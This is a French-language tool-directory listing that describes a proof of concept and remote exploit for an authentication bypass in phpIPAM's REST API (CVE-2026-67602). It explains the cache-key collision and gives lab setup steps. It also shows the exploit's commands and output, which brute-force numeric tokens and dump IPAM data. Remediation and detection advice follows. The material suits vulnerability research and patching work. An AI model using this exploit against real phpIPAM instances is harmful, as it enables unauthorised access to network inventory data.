Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/hunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationSécurité des API
GitHubhunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

Exploit et PoC pour CVE-2026-67602, un contournement d'authentification dans l'API REST de phpIPAM via une collision de clés de cache d'objets, incluant un PoC au niveau logique et un script d'exploitation à distance.

Voir le dépôt
il y a 0 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-67602 — Contournement de l'authentification de l'API REST phpIPAM < 1.8.2

Contournement de l'authentification non authentifié dans l'API REST phpIPAM, causé par une collision de clés dans le cache d'objets : la ligne de base de données mise en cache lors de la résolution de l'app_id d'une application API satisfait la vérification ultérieure de l'app_code (jeton) chaque fois que le jeton fourni est égal à l'id numérique de la ligne. Le véritable secret de l'application n'est jamais comparé.

  • CVE : CVE-2026-67602
  • CVSS 4.0 : 9.3 Critique (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)
  • CWE : CWE-706 (Utilisation d'un nom ou d'une référence incorrectement résolu)
  • Versions concernées : phpIPAM avant 1.8.2, applications API REST avec app_security = ssl_code
  • Corrigé : phpIPAM 1.8.2 (commit d29728f)
  • Avis :
https://www.vulncheck.com/advisories/phpipam-authentication-bypass-via-rest-api-object-cache

Contenu

FichierObjectif
poc_cache_collision.phpPreuve de concept au niveau logique. Exécute les implémentations verbatim vulnérables (v1.8.1) et corrigées (1.8.2) de fetch_object/cache_check/cache_write contre une base de données simulée et rejoue la séquence exacte de récupération d'une requête HTTP. Aucune installation phpIPAM requise.
exploit.pyExploit à distance contre une instance phpIPAM < 1.8.2 en direct : énumère les app_id valides (400 vs 401), force brutalement le jeton numérique (généralement id 1-3), et optionnellement extrait les sections/sous-réseaux/VLAN/périphériques.
docker-compose.ymlLaboratoire vulnérable : phpIPAM v1.8.1 + MariaDB, HTTP simple avec IPAM_TRUST_X_FORWARDED=true afin que les applications ssl_code puissent être testées via l'en-tête X-Forwarded-Proto.

1. Preuve de concept au niveau logique (aucun serveur requis)

root@kitploit:~
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client')  -> ligne id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (en-tête phpipam-token) -> OBJET (succès du cache !)
[3] $app_id == $app_temp->app_id  ->  AUTHENTIFIÉ

$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (en-tête phpipam-token) -> false
[3] Réponse : 401 Non autorisé — jeton rejeté

2. Reproduction en direct dans Docker

root@kitploit:~
$ docker compose up -d
  1. Accédez à http://localhost:8080/, poursuivez vers l'installateur (http://localhost:8080/install/), choisissez Installation automatique de la base de données, utilisateur MySQL root / mot de passe phpipamAdminRoot.
  2. Connectez-vous (admin / admin), définissez un nouveau mot de passe administrateur lorsque vous y êtes invité.
  3. Créez l'application API : Administration → Gestion de l'API → nouveau :
    • Nom de l'application (app_id) : client
    • Sécurité : Code API (ssl_code)
    • Permissions : Lecture / Écriture / Suppression
  4. phpIPAM génère un code d'application aléatoire de 32 caractères. Vous n'avez pas besoin de le copier — c'est tout l'intérêt du bug.

Exécutez l'exploit (l'indicateur --xfp satisfait la vérification HTTPS via X-Forwarded-Proto, que le laboratoire approuve) :

root@kitploit:~
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Cible : http://localhost:8080
[*] Force brutale des jetons numériques (ids de lignes) 1..64 pour app_id='client'...
[+] CONTOURNEMENT DE L'AUTHENTIFICATION — phpipam-token : 1 est accepté
[+] Le véritable app_code de 32 caractères de l'application n'a jamais été nécessaire.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) lisible(s)
[*] Extraction des données IPAM...

3. Détection et remédiation

  • Mettez à niveau vers phpIPAM 1.8.2 ou ultérieur. Le correctif indexe le cache d'objets par colonne de recherche ainsi que par valeur (commit d29728f).
  • Jusqu'à la mise à niveau, désactivez ou reconfigurez les applications API ssl_code (les autres modes de sécurité ne sont pas affectés par cette collision de cache).
  • Vérifiez les journaux de votre serveur web / phpIPAM pour les requêtes vers /api/<app_id>/... portant un en-tête phpipam-token purement numérique — les jetons légitimes sont des chaînes aléatoires de 32 caractères, donc les jetons numériques sont un IOC à haute fiabilité.
  • Faites pivoter les codes d'application API et les jetons utilisateur en cas de suspicion d'exposition.

Utilisation responsable

Ce dépôt est destiné uniquement à la recherche défensive et aux tests d'intrusion autorisés. Exécutez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite de tester.

Télécharger l’outil